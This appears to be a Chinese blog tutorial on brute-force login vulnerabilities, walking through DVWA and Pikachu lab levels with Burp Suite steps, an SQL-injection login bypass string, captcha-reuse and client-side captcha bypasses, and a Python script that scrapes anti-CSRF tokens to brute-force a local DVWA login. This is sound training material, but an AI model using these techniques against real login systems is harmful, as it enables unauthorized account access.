暴力破解漏洞

1.1 漏洞简介

暴力破解是一攻击具手段,在 web 攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个 web 应用系统存在暴力破解漏洞,一般是指该 web 应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的可能性变的比较高。 这里的认证安全策略, 包括: 1.是否要求用户设置复杂的密码; 2.是否每次认证都使用安全的验证码或者手机 otp; 3.是否对尝试登录的行为进行判断和限制(如:连续 5 次错误登录,进行账号锁定或 IP 地址锁定等); 4.是否采用了双因素认证。

1.2 漏洞影响范围

暴力破解漏洞是指攻击者通过尝试大量可能的密码、密钥或凭证来获得未经授权的访问权限。这种漏洞可能会影响各种系统和应用程序,包括网络服务器、数据库、操作系统和应用程序。

暴力破解漏洞的影响范围取决于受影响系统的安全性和防护措施。如果系统没有实施强大的密码策略、账户锁定机制或其他安全措施,那么暴力破解攻击可能会导致未经授权的访问、信息泄露、数据损坏或其他安全问题。

1.3 漏洞详解

1.3.1DVWA

(1)LOW

(1)方法一:

  1. 输入用户名密码抓包
    在这里插入图片描述

  2. 发送给重发器查看
    在这里插入图片描述
    在这里插入图片描述

  3. 发至测试器,设置进行爆破
    在这里插入图片描述

  • 点击 clear 去掉全部,选中需要爆破的点击 add,添加需要爆破的字段
    在这里插入图片描述

  • 点击有效载荷,选择字典,可选择bp自带的或者载入自己的字典
    在这里插入图片描述
    在这里插入图片描述

  • 选择攻击结果
    在这里插入图片描述
    在这里插入图片描述

  • 清除不匹配的提示,添加时间报错页面或者正常返回页面的提示
    在这里插入图片描述

  • 开始爆破
    在这里插入图片描述
    (2)方法二

  • 查看源码
    在这里插入图片描述

  • 只要传入参数为真即可,所以我们考虑进行 sql 注入:admin’ or ‘1’='1
    在这里插入图片描述

(2)Medium

在这里插入图片描述

  • isset() 函数用于检测变量是否已设置并且非 NULL。返回 TRUE。
  • is_object() 函数用于检测变量是否是一个对象
  • mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。返回已转义的字符串。
    由于 mysqli_real_escape_string()对字符串进行了转义,所以 sql 注入将不能运用,所以直接用方法 1 burpsuite 爆破,只不过时间长了点而已。因为试一次密码要过滤 2 秒才能试下一个

(3)HIGH

在这里插入图片描述

  • stripslashes(string): 去除掉 string 字符的反斜杠\

  • mysqli_real_escape_string(string,connection)函数会对字符串 string 中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
    使用了 stripslashes 函数和 mysqli_real_esacpe_string 来抵御 SQL 注入和 XSS 的攻击

  • 代码增加了 token 机制
    在这里插入图片描述

  • 由于使用了 Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的 user_token 的值,用户每次登录时都要将 user_token 一起提交。服务器收到请求后,会优先做 token 的检查,再进行 sql 查询。所以我们无法通过 burpsuite 爆破出结果,所以先进行抓包。
    在这里插入图片描述

    python 进行爆破

from bs4 import BeautifulSoup
import requests

header={
   
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,imgs/image/avif,imgs/image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Connection': 'close',
    'Referer':'http://127.0.0.1:81/dvwa/vulnerabilities/brute/',
    'Cookie': 'security=high; PHPSESSID=h0t00163l0ktcpsdfitm24nhsj',
    'Upgrade-Insecure-Requests': '1'
    }
requrl = "http://127.0.0.1:81/dvwa/vulnerabilities/brute/"

def get_token(requrl,header):
    response=requests.get(url=requrl,headers=header)
    print(response.status_code,len(response.content))
    soup=BeautifulSoup(response.text,"lxml")
    form=soup.select('form')[0]
    input=form.select("input[type='hidden']")
    #获取用户的token
    user_token = input[0]['value']
    # print(user_token)
    return user_token

user_token=get_token(requrl,header)
i=0
for line in open("./pass_dic.txt"):
    # http://127.0.0.1:81/dvwa/vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=195c56bdfe59283bbf3baacee15ada60#
    password = line.strip()
    url = f"http://127.0.0.1:81/dvwa/vulnerabilities/brute/?username=admin&password={
     password}&Login=Login&user_token={
     user_token}"
    i=i+1
    # print(i, 'admin', line.strip(), end="  ")
    print(f"{
     i}-->admin:admin,password:{
     password}")
    user_token = get_token(url, header)
    if(i==20):
        break

1.3.2 Pikachu

(1)验证码绕过(on server)

在这里插入图片描述

  • 将 bp 抓到的数据表发送给 repeater,删除验证码、输入错误验证码,查看返回的结果
    在这里插入图片描述
    在这里插入图片描述

  • 刷新页面,记住验证码,然后修改数据包中的验证码,账号密码不变,显示用户名或密码存在
    在这里插入图片描述

    在这里插入图片描述

  • 验证码不变,修改用户名或密码,查看返回结果,显示用户名或密码不正确,说名验证码是可以重复利用的,没有过期时间
    在这里插入图片描述

  • 将数据包发送给 Intruder 进行爆破
    在这里插入图片描述
    在这里插入图片描述

(2)验证码绕过(on client)

在这里插入图片描述

  • 通过查看源码,发现验证码是前端生产的
    在这里插入图片描述

  • 将 bp 抓到的数据表发送给 repeater
    在这里插入图片描述

  • 删掉验证码,再次发送,没有提示要输入验证码,则说明此验证码对登录无效
    在这里插入图片描述

  • 将数据包发送给 Intruder 进行爆破
    在这里插入图片描述 在这里插入图片描述

1.3.3 识别验证码(绕过)

待写…

1.3.4 密码加密的情况

待写…

相关推荐

  1. 暴力破解攻击与彩虹表攻击

    2023-12-11 06:30:05       36 阅读
  2. Linux防止暴力破解密码脚本

    2023-12-11 06:30:05       13 阅读
  3. 12-python编写暴力破解poc

    2023-12-11 06:30:05       13 阅读
  4. web安全暴力破解-SQL注入简介

    2023-12-11 06:30:05       9 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-11 06:30:05       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-11 06:30:05       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-11 06:30:05       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-11 06:30:05       20 阅读

热门阅读

  1. 【前端设计模式】之迭代器模式

    2023-12-11 06:30:05       36 阅读
  2. 主流MQ [Kafka、RabbitMQ、ZeroMQ、RocketMQ 和 ActiveMQ]

    2023-12-11 06:30:05       39 阅读
  3. PHP基础 - 运算符

    2023-12-11 06:30:05       26 阅读
  4. android 13.0 Settings去掉二级三级菜单搜索功能

    2023-12-11 06:30:05       35 阅读
  5. SQLMap进阶使用

    2023-12-11 06:30:05       32 阅读
  6. prototype、__proto__、constructor、原型、原型链

    2023-12-11 06:30:05       44 阅读
  7. Kubernetes实战(十)-升级k8s集群

    2023-12-11 06:30:05       28 阅读